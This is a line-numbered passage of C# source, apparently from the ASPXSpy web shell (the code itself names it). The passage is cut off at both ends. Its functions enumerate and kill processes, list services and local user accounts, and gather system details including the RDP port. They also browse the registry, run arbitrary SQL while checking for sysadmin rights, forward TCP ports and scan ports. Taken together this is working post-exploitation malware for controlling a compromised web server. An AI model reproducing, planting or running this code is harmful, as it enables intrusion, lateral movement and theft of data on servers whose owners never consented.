  771. {
  772. td.Text=sp.Id.ToString();
  773. tr.Controls.Add(td);
  774. }
  775. if(i==3)
  776. {
  777. td.Text=sp.ProcessName.ToString();
  778. tr.Controls.Add(td);
  779. }
  780. if(i==4)
  781. {
  782. td.Text=sp.Threads.Count.ToString();
  783. tr.Controls.Add(td);
  784. }
  785. if(i==5)
  786. {
  787. td.Text=sp.BasePriority.ToString();
  788. tr.Controls.Add(td);
  789. }
  790. if(i==6)
  791. {
  792. td.Text=zcg_MakeKillProcessLink(sp.Id);
  793. tr.Controls.Add(td);
  794. }
  795. }
  796. Bin_Table_Process.Controls.Add(tr);
  797. }
  798. }
  799. private void Bin_Wmi_GetProcess()
  800. {
  801. int pcount=0;
  802. DataTable dt=zcg_WmiDataTable("root\\CIMV2","select * from Win32_Process");
  803. for(int j=0;j<dt.Rows.Count;j++)
  804. {
  805. pcount++;
  806. TableRow tr=zcg_GetTableRow();
  807. for(int i=1;i<7;i++)
  808. {
  809. TableCell td=new TableCell();
  810. if(i==1)
  811. {
  812. td.Width=Unit.Parse("2%");
  813. td.Text=pcount.ToString();
  814. tr.Controls.Add(td);
  815. }
  816. if(i==2)
  817. {
  818. td.Text=dt.Rows[j]["ProcessID"].ToString();
  819. tr.Controls.Add(td);
  820. }
  821. if(i==3)
  822. {
  823. td.Text=dt.Rows[j]["Name"].ToString();
  824. tr.Controls.Add(td);
  825. }
  826. if(i==4)
  827. {
  828. td.Text=dt.Rows[j]["ThreadCount"].ToString();
  829. tr.Controls.Add(td);
  830. }
  831. if(i==5)
  832. {
  833. td.Text=dt.Rows[j]["Priority"].ToString();
  834. tr.Controls.Add(td);
  835. }
  836. if(i==6)
  837. {
  838. td.Text=zcg_MakeKillProcessLink(dt.Rows[j]["ProcessID"]);
  839. tr.Controls.Add(td);
  840. }
  841. }
  842. Bin_Table_Process.Controls.Add(tr);
  843. }
  844. }
  845. private string zcg_MakeKillProcessLink(object pid)
  846. {
  847. return string.Format("<a href=\"javascript:Bin_PostBack('zcg_KillProcess','{0}')\">Kill</a>",pid);
  848. }
  849. private void zcg_KillProcess(string pid)
  850. {
  851. zcg_ProcessHeader();
  852. try{zcg_DoKillProcess(pid);Bin_Msg("Process Kill Success !");}catch{try{zcg_DoKillProcessWmi(pid);}catch(Exception ex){zcg_ShowError(ex);}}
  853. Bin_Button_Process_Click(null,null);
  854. }
  855. private void zcg_DoKillProcess(string pid)
  856. {
  857. Process.GetProcessById(Int32.Parse(pid)).Kill();
  858. }
  859. private void zcg_DoKillProcessWmi(string pid)
  860. {
  861. uint i=0;
  862. foreach(ManagementObject p in Bin_WmiQuery("root\\CIMV2","Select * from Win32_Process Where ProcessID ='"+pid+"'"))
  863. {
  864. i=(uint)(p.InvokeMethod("Terminate",null));
  865. p.Dispose();
  866. }
  867. if(i==0){Bin_Msg("Process Kill Success !");}
  868. else{Bin_Msg("Kill process error , returned value: "+i);}
  869. }
  870. private void Bin_GetServices()
  871. {
  872. int pcount=0;
  873. ServiceController[] objsrv=System.ServiceProcess.ServiceController.GetServices();
  874. for(int i=0;i<objsrv.Length;i++)
  875. {
  876. pcount++;
  877. TableRow tr=zcg_GetTableRow();
  878. for(int b=1;b<7;b++)
  879. {
  880. TableCell td=new TableCell();
  881. if(b==1)
  882. {
  883. td.Width=Unit.Parse("2%");
  884. td.Text=pcount.ToString();
  885. tr.Controls.Add(td);
  886. }
  887. if(b==2)
  888. {
  889. td.Text="null";
  890. tr.Controls.Add(td);
  891. }
  892. if(b==3)
  893. {
  894. td.Text=objsrv[i].ServiceName.ToString();
  895. tr.Controls.Add(td);
  896. }
  897. if(b==4)
  898. {
  899. td.Text="";
  900. tr.Controls.Add(td);
  901. }
  902. if(b==5)
  903. {
  904. string state=objsrv[i].Status.ToString();
  905. if(state=="Running")
  906. {
  907. td.Text="<font color=green>"+state+"</font>";
  908. }
  909. else
  910. {
  911. td.Text="<font color=red>"+state+"</font>";
  912. }
  913. tr.Controls.Add(td);
  914. }
  915. if(b==6)
  916. {
  917. td.Text="";
  918. tr.Controls.Add(td);
  919. }
  920. }
  921. Bin_Table_Serviecs.Controls.Add(tr);
  922. }
  923. }
  924. private void Bin_Wmi_GetServices()
  925. {
  926. int pcount=0;
  927. DataTable dt=zcg_WmiDataTable("root\\CIMV2","select * from Win32_Service");
  928. for(int j=0;j<dt.Rows.Count;j++)
  929. {
  930. pcount++;
  931. TableRow tr=zcg_GetTableRow();
  932. tr.Attributes["title"]=dt.Rows[j]["Description"].ToString();
  933. for(int i=1;i<7;i++)
  934. {
  935. TableCell td=new TableCell();
  936. if(i==1)
  937. {
  938. td.Width=Unit.Parse("2%");
  939. td.Text=pcount.ToString();
  940. tr.Controls.Add(td);
  941. }
  942. if(i==2)
  943. {
  944. td.Text=dt.Rows[j]["ProcessID"].ToString();
  945. tr.Controls.Add(td);
  946. }
  947. if(i==3)
  948. {
  949. td.Text=dt.Rows[j]["Name"].ToString();
  950. tr.Controls.Add(td);
  951. }
  952. if(i==4)
  953. {
  954. td.Text=dt.Rows[j]["PathName"].ToString();
  955. tr.Controls.Add(td);
  956. }
  957. if(i==5)
  958. {
  959. string state=dt.Rows[j]["State"].ToString();
  960. if(state=="Running")
  961. {
  962. td.Text="<font color=green>"+state+"</font>";
  963. }
  964. else
  965. {
  966. td.Text="<font color=red>"+state+"</font>";
  967. }
  968. tr.Controls.Add(td);
  969. }
  970. if(i==6)
  971. {
  972. td.Text=dt.Rows[j]["StartMode"].ToString();
  973. tr.Controls.Add(td);
  974. }
  975. }
  976. Bin_Table_Serviecs.Controls.Add(tr);
  977. }
  978. }
  979. private void Bin_UserInfo()
  980. {
  981. DirectoryEntry users=new DirectoryEntry("WinNT://"+Environment.MachineName.ToString());
  982. foreach(DirectoryEntry child in users.Children)
  983. {
  984. foreach(string name in child.Properties.PropertyNames)
  985. {
  986. PropertyValueCollection pvc=child.Properties[name];
  987. int c=pvc.Count;
  988. for(int i=0;i<c;i++)
  989. {
  990. if(name!="objectSid"&&name!="Parameters"&&name!="LoginHours")
  991. {
  992. TableRow tr=zcg_GetTableRow();
  993. TableCell td=new TableCell();
  994. td.Text=name;
  995. tr.Controls.Add(td);
  996. TableCell td1=new TableCell();
  997. td1.Text=pvc[i].ToString();
  998. tr.Controls.Add(td1);
  999. Bin_Table_User.Controls.Add(tr);
  1000. }
  1001. }
  1002. }
  1003. TableRow trn=new TableRow();
  1004. for(int x=1;x<3;x++)
  1005. {
  1006. TableCell tdn=new TableCell();
  1007. tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
  1008. trn.Controls.Add(tdn);
  1009. Bin_Table_User.Controls.Add(trn);
  1010. }
  1011. }
  1012. }
  1013. private void Bin_Wmi_UserInfo()
  1014. {
  1015. DataTable user=zcg_WmiDataTable("root\\CIMV2","select * from Win32_UserAccount");
  1016. for(int i=0;i<user.Rows.Count;i++)
  1017. {
  1018. for(int j=0;j<user.Columns.Count;j++)
  1019. {
  1020. TableRow tr=zcg_GetTableRow();
  1021. TableCell td=new TableCell();
  1022. td.Text=user.Columns[j].ToString();
  1023. tr.Controls.Add(td);
  1024. TableCell td1=new TableCell();
  1025. td1.Text=user.Rows[i][j].ToString();
  1026. tr.Controls.Add(td1);
  1027. Bin_Table_User.Controls.Add(tr);
  1028. }
  1029. TableRow trn=new TableRow();
  1030. for(int x=1;x<3;x++)
  1031. {
  1032. TableCell tdn=new TableCell();
  1033. tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
  1034. trn.Controls.Add(tdn);
  1035. Bin_Table_User.Controls.Add(trn);
  1036. }
  1037. }
  1038. }
  1039. private void Bin_Sysinfo()
  1040. {
  1041. Hide_Div();
  1042. Bin_Div_Sysinfo.Visible=true;
  1043. Bin_H2_Title.InnerText="System Information >>";
  1044. Bin_H2_Mac.InnerText="MAC Information >>";
  1045. Bin_H2_Driver.InnerText="Driver Information >>";
  1046. StringBuilder s_inf=new StringBuilder();
  1047. StringBuilder s_netconfig=new StringBuilder();
  1048. StringBuilder s_driver=new StringBuilder();
  1049. try
  1050. {
  1051. s_inf.Append("<li><u>Server Domain : </u>"+Request.ServerVariables["SERVER_NAME"]+"</li>");
  1052. s_inf.Append("<li><u>Server Ip : </u>"+Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"</li>");
  1053. s_inf.Append("<li><u>Server OS : </u>"+Environment.OSVersion+"</li>");
  1054. s_inf.Append("<li><u>Server Software : </u>"+Request.ServerVariables["SERVER_SOFTWARE"]+"</li>");
  1055. s_inf.Append("<li><u>Server UserName : </u>"+zcg_GetUserName()+"</li>");
  1056. s_inf.Append("<li><u>Server Time : </u>"+System.DateTime.Now.ToString()+"</li>");
  1057. RegistryKey key_ts=Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp");
  1058. string tsport=GetRegValue(key_ts,"PortNumber");
  1059. RegistryKey key_cpu=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor");
  1060. int cpu=key_cpu.SubKeyCount;
  1061. RegistryKey key_cpuinfo=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor\0\");
  1062. string cpuver=GetRegValue(key_cpuinfo,"ProcessorNameString");
  1063. s_inf.Append("<li><u>Terminal Port : </u>"+tsport+"</li>");
  1064. s_inf.Append("<li><u>CPU Count : </u>"+cpu.ToString()+"</li>");
  1065. s_inf.Append("<li><u>CPU Version : </u>"+cpuver+"</li>");
  1066. s_inf.Append("<li><u>Server TimeZone : </u>"+zcg_WmiDataTable("root\\CIMV2","select * from Win32_TimeZone").Rows[0]["Caption"]+"</li>");
  1067. DataTable BIOS=zcg_WmiDataTable("root\\CIMV2","select * from Win32_BIOS");
  1068. s_inf.Append("<li><u>Server BIOS : </u>"+BIOS.Rows[0]["Manufacturer"]+" : "+BIOS.Rows[0]["Name"]+"</li>");
  1069. DataTable Memory=zcg_WmiDataTable("root\\CIMV2","select * from Win32_PhysicalMemory");
  1070. Int64 Memoryall=0;
  1071. for(int i=0;i<Memory.Rows.Count;i++)
  1072. {
  1073. Memoryall+=Int64.Parse(Memory.Rows[0]["Capacity"].ToString());
  1074. }
  1075. s_inf.Append("<li><u>Server Memory : </u>"+Bin_FileSize(Memoryall)+"</li>");
  1076. DataTable NetConfig=zcg_WmiDataTable("root\\CIMV2","select * from Win32_NetworkAdapterConfiguration");
  1077. for(int i=0;i<NetConfig.Rows.Count;i++)
  1078. {
  1079. s_netconfig.Append("<li><u>Server MAC"+i+" : </u>"+NetConfig.Rows[i]["Caption"]+"</li>");
  1080. if((NetConfig.Rows[i]["MACAddress"] as string)!="")
  1081. {
  1082. s_netconfig.Append("<li style=\"list-style:none;\"><u>Address : </u>"+NetConfig.Rows[i]["MACAddress"]+"</li>");
  1083. }
  1084. }
  1085. DataTable Driver=zcg_WmiDataTable("root\\CIMV2","select * from Win32_SystemDriver");
  1086. for (int i=0; i<Driver.Rows.Count; i++)
  1087. {
  1088. s_driver.Append("<li><u class='u1'>Server Driver"+i+" : </u><u class='u2'>"+Driver.Rows[i]["Caption"]+"</u> ");
  1089. if ((Driver.Rows[i]["PathName"] as string)!="")
  1090. {
  1091. s_driver.Append("Path : "+Driver.Rows[i]["PathName"]);
  1092. }
  1093. else
  1094. {
  1095. s_driver.Append("No path information");
  1096. }
  1097. s_driver.Append("</li>");
  1098. }
  1099. }
  1100. catch(Exception error)
  1101. {
  1102. zcg_ShowError(error);
  1103. }
  1104. finally
  1105. {
  1106. Bin_Ul_Sys.InnerHtml=s_inf.ToString();
  1107. Bin_Ul_NetConfig.InnerHtml=s_netconfig.ToString();
  1108. Bin_Ul_Driver.InnerHtml=s_driver.ToString();
  1109. }
  1110. }
  1111. private void Bin_Reg()
  1112. {
  1113. zcg_RegHeader();
  1114. RegInit();
  1115. }
  1116. private void zcg_RegHeader()
  1117. {
  1118. Hide_Div();
  1119. Bin_Div_Reg.Visible=true;
  1120. Bin_H2_Title.InnerText="RegShell >>";
  1121. string RootKeys=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  1122. Bin_Regroot_Href.Text="";
  1123. foreach(string rootkey in RootKeys.Split('|'))
  1124. {
  1125. Bin_Regroot_Href.Text+="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(rootkey)+"')\">"+rootkey+"</a> | ";
  1126. }
  1127. }
  1128. private void RegInit()
  1129. {
  1130. Bin_Text_Regread.Text="";
  1131. string RootKeys=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  1132. TableRow tr;
  1133. TableCell tc;
  1134. foreach(string rootkey in RootKeys.Split('|'))
  1135. {
  1136. tc=new TableCell();
  1137. tr=zcg_GetTableRow();
  1138. tc.Width=Unit.Parse("40%");
  1139. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(rootkey)+"')\">"+rootkey+"</a>";
  1140. tr.Cells.Add(tc);
  1141. tc=new TableCell();
  1142. tc.Width=Unit.Parse("60%");
  1143. tc.Text="&lt;RootKey&gt;";
  1144. tr.Cells.Add(tc);
  1145. Bin_Table_Reg.Rows.Add(tr);
  1146. }
  1147. }
  1148. private void Bin_ShowReg(string Reg_Path)
  1149. {
  1150. zcg_RegHeader();
  1151. if(!Reg_Path.EndsWith("\\"))
  1152. {
  1153. Reg_Path=Reg_Path+"\\";
  1154. }
  1155. Bin_Text_Regread.Text=Reg_Path;
  1156. string ParPath=Regex.Replace(Reg_Path,@"\\[^\\]+\\?$","");
  1157. ParPath=Regex.Replace(ParPath,@"\\+","\\");
  1158. TableRow tr=zcg_GetTableRow();
  1159. TableCell tc=new TableCell();
  1160. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(ParPath)+"')\">Parent Key</a>";
  1161. tc.Attributes["colspan"]="2" ;
  1162. tr.Cells.Add(tc);
  1163. Bin_Table_Reg.Rows.Add(tr);
  1164. try
  1165. {
  1166. string strSubkey=Reg_Path.Substring(Reg_Path.IndexOf("\\")+1,Reg_Path.Length-Reg_Path.IndexOf("\\")-1);
  1167. RegistryKey rk=null;
  1168. RegistryKey sk;
  1169. if(Reg_Path.StartsWith("HKEY_LOCAL_MACHINE",true,null)||Reg_Path.StartsWith("hklm",true,null))
  1170. {
  1171. rk=Registry.LocalMachine;
  1172. }
  1173. else if(Reg_Path.StartsWith("HKEY_CLASSES_ROOT",true,null)||Reg_Path.StartsWith("hkcr",true,null))
  1174. {
  1175. rk=Registry.ClassesRoot;
  1176. }
  1177. else if(Reg_Path.StartsWith("HKEY_CURRENT_USER",true,null)||Reg_Path.StartsWith("hkcu",true,null))
  1178. {
  1179. rk=Registry.CurrentUser;
  1180. }
  1181. else if(Reg_Path.StartsWith("HKEY_USERS",true,null)||Reg_Path.StartsWith("hku",true,null))
  1182. {
  1183. rk=Registry.Users;
  1184. }
  1185. else if(Reg_Path.StartsWith("HKEY_CURRENT_CONFIG",true,null)||Reg_Path.StartsWith("hkcc",true,null))
  1186. {
  1187. rk=Registry.CurrentConfig;
  1188. }
  1189. if(strSubkey.Length>1)
  1190. {
  1191. sk=rk.OpenSubKey(strSubkey);
  1192. }
  1193. else
  1194. {
  1195. sk=rk;
  1196. }
  1197. foreach(string innerSubKey in sk.GetSubKeyNames())
  1198. {
  1199. tr=zcg_GetTableRow();
  1200. tc=new TableCell();
  1201. tc.Width=Unit.Parse("40%");
  1202. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(Reg_Path+innerSubKey)+"')\">"+innerSubKey+"</a>";
  1203. tr.Cells.Add(tc);
  1204. tc=new TableCell();
  1205. tc.Width=Unit.Parse("60%");
  1206. tc.Text="&lt;SubKey&gt;";
  1207. tr.Cells.Add(tc);
  1208. Bin_Table_Reg.Rows.Add(tr);
  1209. }
  1210. TableRow intr=new TableRow();
  1211. intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  1212. intr.Attributes["bgcolor"]="#dddddd";
  1213. TableCell intc=new TableCell();
  1214. intc.Attributes["colspan"]="2" ;
  1215. intc.Attributes["height"]="5";
  1216. intr.Cells.Add(intc);
  1217. Bin_Table_Reg.Rows.Add(intr);
  1218. foreach(string strValueName in sk.GetValueNames())
  1219. {
  1220. tr=zcg_GetTableRow();
  1221. tc=new TableCell();
  1222. tc.Width=Unit.Parse("40%");
  1223. tc.Text=strValueName;
  1224. tr.Cells.Add(tc);
  1225. tc=new TableCell();
  1226. tc.Width=Unit.Parse("60%");
  1227. tc.Text=GetRegValue(sk,strValueName);
  1228. tr.Cells.Add(tc);
  1229. Bin_Table_Reg.Rows.Add(tr);
  1230. }
  1231. }
  1232. catch(NullReferenceException ex){Bin_Msg("Path not found");}
  1233. catch(Exception ex){zcg_ShowError(ex);}
  1234. }
  1235. private string GetRegValue(RegistryKey sk,string strValueName)
  1236. {
  1237. object buffer;
  1238. string regstr="";
  1239. try
  1240. {
  1241. buffer=sk.GetValue(strValueName,"NULL");
  1242. if(buffer.GetType()==typeof(byte[]))
  1243. {
  1244. foreach(byte tmpbyte in(byte[])buffer)
  1245. {
  1246. if((int)tmpbyte<16)
  1247. {
  1248. regstr+="0";
  1249. }
  1250. regstr+=tmpbyte.ToString("X");
  1251. }
  1252. }
  1253. else if(buffer.GetType()==typeof(string[]))
  1254. {
  1255. foreach(string tmpstr in(string[])buffer)
  1256. {
  1257. regstr+=tmpstr;
  1258. }
  1259. }
  1260. else
  1261. {
  1262. regstr=buffer.ToString();
  1263. }
  1264. }
  1265. catch(Exception error)
  1266. {
  1267. zcg_ShowError(error);
  1268. }
  1269. return regstr;
  1270. }
  1271. private void Bin_PortScan()
  1272. {
  1273. Hide_Div();
  1274. Bin_Div_PortScan.Visible=true;
  1275. Bin_H2_Title.InnerText="PortScan >>";
  1276. }
  1277. private void Bin_DataBase()
  1278. {
  1279. Hide_Div();
  1280. Bin_Div_Data.Visible=true;
  1281. Bin_Div_DBPanel.Visible=false;
  1282. Bin_H2_Title.InnerText="DataBase >>";
  1283. }
  1284. private void OpenConnection()
  1285. {
  1286. if(IsSqlServer())
  1287. {
  1288. conn=new SqlConnection();
  1289. comm=new SqlCommand();
  1290. }else{
  1291. conn=new OleDbConnection();
  1292. comm=new OleDbCommand();
  1293. }
  1294. if(conn.State==ConnectionState.Closed)
  1295. {
  1296. try
  1297. {
  1298. conn.ConnectionString=Bin_TextBox_ConnStr.Text;
  1299. comm.Connection=conn;
  1300. conn.Open();
  1301. if(IsSqlServer()&&Bin_List_DB.SelectedItem!=null&&Bin_List_DB.SelectedItem.Value!="")
  1302. {
  1303. conn.ChangeDatabase(Bin_List_DB.SelectedItem.Value.ToString());
  1304. }
  1305. }
  1306. catch(Exception error)
  1307. {
  1308. zcg_ShowError(error);
  1309. }
  1310. }
  1311. }
  1312. private void CloseConnection()
  1313. {
  1314. if(conn.State==ConnectionState.Open)
  1315. {
  1316. conn.Close();
  1317. }
  1318. conn.Dispose();
  1319. comm.Dispose();
  1320. }
  1321. private bool IsSqlServer()
  1322. {
  1323. return Bin_List_Connstr.SelectedItem.Text=="MSSQL";
  1324. }
  1325. private DataTable Bin_DataTable(string sqlstr)
  1326. {
  1327. DbDataAdapter da=null;
  1328. if(IsSqlServer())
  1329. {
  1330. da=new SqlDataAdapter();
  1331. }else{
  1332. da=new OleDbDataAdapter();
  1333. }
  1334. DataTable dtable=new DataTable();
  1335. try
  1336. {
  1337. OpenConnection();
  1338. comm.CommandType=CommandType.Text;
  1339. comm.CommandText=sqlstr;
  1340. da.SelectCommand=comm;
  1341. da.Fill(dtable);
  1342. }
  1343. finally
  1344. {
  1345. CloseConnection();
  1346. }
  1347. return dtable;
  1348. }
  1349. private bool Bin_ExecSql(string instr)
  1350. {
  1351. try
  1352. {
  1353. OpenConnection();
  1354. comm.CommandType=CommandType.Text;
  1355. comm.CommandText=instr;
  1356. comm.ExecuteNonQuery();
  1357. return true;
  1358. }
  1359. catch(Exception e)
  1360. {
  1361. zcg_ShowError(e);
  1362. return false;
  1363. }
  1364. }
  1365. private void Bin_ExecBind()
  1366. {
  1367. try
  1368. {
  1369. DataTable dt=Bin_DataTable(Bin_Textarea_Query.InnerText);
  1370. if(dt.Columns.Count>0)
  1371. {
  1372. Bin_DataGrid.PreRender+=new EventHandler(DataGrid_PreRender);
  1373. Bin_DataGrid.DataSource=dt;
  1374. Bin_DataGrid.DataBind();
  1375. for(int i=0;i<Bin_DataGrid.Items.Count;i++)
  1376. {
  1377. zcg_SetControlAttribute(Bin_DataGrid.Items[i]);
  1378. }
  1379. }
  1380. else
  1381. {
  1382. Bin_DataGrid.DataSource=null;
  1383. Bin_DataGrid.DataBind();
  1384. }
  1385. Bin_DataGrid.Visible=true;
  1386. }
  1387. catch(Exception e)
  1388. {
  1389. zcg_ShowError(e);
  1390. Bin_DataGrid.Visible=false;
  1391. }
  1392. }
  1393. private void Bin_DataBind()
  1394. {
  1395. try
  1396. {
  1397. if(IsSqlServer()&&Bin_List_DB.SelectedItem.Value=="")
  1398. {
  1399. Bin_DataGrid.DataSource=null;
  1400. Bin_DataGrid.DataBind();
  1401. return;
  1402. }
  1403. OpenConnection();
  1404. DataTable tables=new DataTable();
  1405. if(IsSqlServer()&&Bin_List_DB.SelectedItem.Value!="")
  1406. {
  1407. conn.ChangeDatabase(Bin_List_DB.SelectedItem.Text);
  1408. }
  1409. tables=conn.GetSchema("Tables");
  1410. tables.Columns.Remove("TABLE_CATALOG");
  1411. tables.Columns.Remove("TABLE_SCHEMA");
  1412. if(!IsSqlServer()){tables.Columns.Remove("DESCRIPTION");tables.Columns.Remove("TABLE_PROPID");}
  1413. Bin_DataGrid.PreRender+=new EventHandler(DataGrid_PreRender);
  1414. Bin_DataGrid.DataSource=tables;
  1415. Bin_DataGrid.DataBind();
  1416. for(int i=0;i<Bin_DataGrid.Items.Count;i++)
  1417. {
  1418. string tname=Bin_DataGrid.Items[i].Cells[0].Text;
  1419. zcg_SetControlAttribute(Bin_DataGrid.Items[i]);
  1420. Bin_DataGrid.Items[i].Attributes["onclick"]="ASPXSpy.Bin_Textarea_Query.value='select * from " + tname + "';";
  1421. }
  1422. Bin_DataGrid.Visible=true;
  1423. }
  1424. catch(Exception e)
  1425. {
  1426. zcg_ShowError(e);
  1427. Bin_DataGrid.Visible=false;
  1428. }
  1429. }
  1430. protected void DataGrid_PreRender(object sender,EventArgs e)
  1431. {
  1432. DataGrid d=(DataGrid)sender;
  1433. foreach(DataGridItem item in d.Items)
  1434. {
  1435. foreach(TableCell t in item.Cells)
  1436. {
  1437. t.Text=t.Text.Replace("<","&lt;").Replace(">","&gt;");
  1438. }
  1439. }
  1440. }
  1441. private void Bin_Newconn()
  1442. {
  1443. Bin_Div_DBPanel.Visible=true;
  1444. try
  1445. {
  1446. Bin_Textarea_Query.InnerHtml="";
  1447. if(Bin_List_Connstr.SelectedItem.Text=="MSSQL")
  1448. {
  1449. Bin_DataGrid.Visible=false;
  1450. Bin_Div_Dblist.Visible=true;
  1451. Bin_Div_Dbinfo.Visible=true;
  1452. OpenConnection();
  1453. string cdb=conn.Database;
  1454. string verstr=Bin_DataTable(@"SELECT @@VERSION").Rows[0][0].ToString();
  1455. DataTable dbs=Bin_DataTable(@"SELECT name FROM master..sysdatabases");
  1456. DataTable rol=Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  1457. DataTable owner=Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
  1458. string dbo="";
  1459. if(owner.Rows[0][0].ToString()=="1")
  1460. {
  1461. dbo="db_owner";
  1462. }
  1463. else
  1464. {
  1465. dbo="public";
  1466. }
  1467. if(rol.Rows[0][0].ToString()=="1")
  1468. {
  1469. dbo="<font color=blue>sa</font>";
  1470. }
  1471. Bin_List_Exec.SelectedIndex=0;
  1472. Bin_List_DB.Items.Clear();
  1473. for(int i=0;i<dbs.Rows.Count;i++)
  1474. {
  1475. Bin_List_DB.Items.Add(dbs.Rows[i][0].ToString());
  1476. if (cdb==dbs.Rows[i][0].ToString())
  1477. {
  1478. Bin_List_DB.Items[i].Selected=true;
  1479. }
  1480. }
  1481. Bin_Div_Dbinfo.InnerHtml="<p><font color=red>MSSQL Version</font> : <i><b>"+verstr+"</b></i></p><p><font color=red>SrvRoleMember</font> : <i><b>"+dbo+"</b></i></p>";
  1482. }
  1483. else
  1484. {
  1485. Bin_Div_Dblist.Visible=false;
  1486. Bin_Div_Dbinfo.Visible=false;
  1487. }
  1488. Bin_DataBind();
  1489. }
  1490. catch(Exception e)
  1491. {
  1492. zcg_ShowError(e);
  1493. Bin_Div_DBPanel.Visible=false;
  1494. }
  1495. }
  1496. private void Bin_PortMap()
  1497. {
  1498. Hide_Div();
  1499. Bin_Div_PortMap.Visible=true;
  1500. Bin_H2_Title.InnerText="PortMap >>";
  1501. }
  1502. private void Bin_WmiTools()
  1503. {
  1504. Hide_Div();
  1505. Bin_Div_WmiTools.Visible = true;
  1506. Bin_Div_WmiPanel.Visible = false;
  1507. Bin_H2_Title.InnerText = "WmiTools >>";
  1508. }
  1509.  
  1510. internal class PortForward
  1511. {
  1512. public string LocalAddress;
  1513. public int LocalPort;
  1514. public string RemoteAddress;
  1515. public int RemotePort;
  1516. private Socket ltcpClient;
  1517. private Socket rtcpClient;
  1518. private byte[] rbuffer=new byte[2048];
  1519. private byte[] lbuffer=new byte[2048];
  1520. internal struct session
  1521. {
  1522. public Socket rdel;
  1523. public Socket ldel;
  1524. }
  1525. public bool IsConnected{get{return ltcpClient.Connected&&rtcpClient.Connected;}}
  1526. private IPEndPoint GetIPEndPoint(string host,int port)
  1527. {
  1528. try{
  1529. IPEndPoint iep=null;
  1530. IPAddress ipAddress=Dns.Resolve(host).AddressList[0];
  1531. iep=new IPEndPoint(ipAddress,port);
  1532. return iep;}catch{throw new Exception("Host not found.");}
  1533. }
  1534. public void Start(string Rip,int Rport,string lip,int lport)
  1535. {
  1536. LocalPort=lport;
  1537. RemoteAddress=Rip;
  1538. RemotePort=Rport;
  1539. LocalAddress=lip;
  1540. new SocketPermission(NetworkAccess.Connect,TransportType.Tcp,Rip,Rport).Demand();
  1541. new SocketPermission(NetworkAccess.Connect,TransportType.Tcp,lip,lport).Demand();
  1542. rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  1543. ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  1544. rtcpClient.BeginConnect(Rip,Rport,new AsyncCallback(OnRConnect),rtcpClient);
  1545. }
  1546. protected void OnRConnect(IAsyncResult ar)
  1547. {
  1548. try
  1549. {
  1550. session mysession=new session();
  1551. mysession.ldel=ltcpClient;
  1552. mysession.rdel=rtcpClient;
  1553. ltcpClient.BeginConnect(LocalAddress,LocalPort,new AsyncCallback(OnLConnect),mysession);
  1554. }catch{ }
  1555. }
  1556. protected void OnLConnect(IAsyncResult ar)
  1557. {
  1558. try
  1559. {
  1560. session mysession=(session)ar.AsyncState;
  1561. ltcpClient.EndConnect(ar);
  1562. mysession.rdel.BeginReceive(rbuffer,0,rbuffer.Length,SocketFlags.None,new AsyncCallback(OnRReceive),mysession);
  1563. mysession.ldel.BeginReceive(lbuffer,0,lbuffer.Length,SocketFlags.None,new AsyncCallback(OnLReceive),mysession);
  1564. }catch{ }
  1565. }
  1566. protected void OnRReceive(IAsyncResult ar)
  1567. {
  1568. try
  1569. {
  1570. session mysession=(session)ar.AsyncState;
  1571. int Ret=mysession.rdel.EndReceive(ar);
  1572. if (Ret>0)
  1573. ltcpClient.BeginSend(rbuffer,0,Ret,SocketFlags.None,new AsyncCallback(onlsend),mysession);
  1574. else Stop();
  1575. }catch{ }
  1576. }
  1577. protected void onlsend(IAsyncResult ar)
  1578. {
  1579. try
  1580. {
  1581. session mysession=(session)ar.AsyncState;
  1582. mysession.ldel.EndSend(ar);
  1583. mysession.rdel.BeginReceive(rbuffer,0,rbuffer.Length,SocketFlags.None,new AsyncCallback(this.OnRReceive),mysession);
  1584. }catch{ }
  1585. }
  1586. protected void OnLReceive(IAsyncResult ar)
  1587. {
  1588. try
  1589. {
  1590. session mysession=(session)ar.AsyncState;
  1591. int Ret=mysession.ldel.EndReceive(ar);
  1592.  
  1593. if (Ret>0)
  1594. mysession.rdel.BeginSend(lbuffer,0,Ret,SocketFlags.None,new AsyncCallback(onrsend),mysession);
  1595. else Stop();
  1596. }catch{ }
  1597. }
  1598. protected void onrsend(IAsyncResult ar)
  1599. {
  1600. try
  1601. {
  1602.  
  1603. session mysession=(session)ar.AsyncState;
  1604. mysession.rdel.EndSend(ar);
  1605. mysession.ldel.BeginReceive(lbuffer,0,lbuffer.Length,SocketFlags.None,new AsyncCallback(this.OnLReceive),mysession);
  1606. }catch{ }
  1607. }
  1608. public void Stop()
  1609. {
  1610. try
  1611. {
  1612. if (ltcpClient!=null)
  1613. {
  1614. ltcpClient.Close();
  1615. }
  1616. if (rtcpClient!=null)
  1617. rtcpClient.Close();
  1618. }
  1619. catch{ }
  1620. }
  1621. }
  1622. internal class ScanPort
  1623. {
  1624. public string ip="";
  1625. public int port=0;
  1626. public string status="Not scanned";
  1627. public ScanPort(string ip,int port)
  1628. {
  1629. this.ip=ip;
  1630. this.port=port;
  1631. }
  1632. public void Scan()
  1633. {
  1634. TcpClient tc=new TcpClient();
  1635. try
  1636. {
  1637. tc.Connect(ip,port);
  1638. tc.Close();
